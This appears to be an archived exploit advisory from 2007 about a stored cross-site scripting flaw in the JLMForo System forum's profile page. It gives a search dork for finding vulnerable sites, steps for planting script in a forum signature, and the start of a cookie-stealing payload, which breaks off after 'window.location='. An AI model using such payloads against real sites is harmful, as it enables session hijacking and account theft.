Home / exploits

PDF

jlmforo-xss.txt

Posted on 27 November 2007

# JLMForo System (modificarPerfil.php) Cross-Site Scripting Vulnerability
# Download:
# http://www.miscodigos.com/aplicaciones/JLMForo%20System/
# Bug found by Jose Luis Góngora Fernández / JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# www.spanish-hackers.com
# /server irc.freenode.net /join #fullsecure
# d0rk: "Powered By JLMForo System"
# Stop lammer

# Explanation Basic :

1.- Register in the forum (registro.php)
2.- Put in your signature the XSS (modificarPerfil.php)
3.- Create a subject
4.- Wait to an answer to visualize the XSS

# To Rob Cookies:

1º- Register in the forum (registro.php)

2º- Put in your signature the XSS (modificarPerfil.php):

<script>window.location=

 

TOP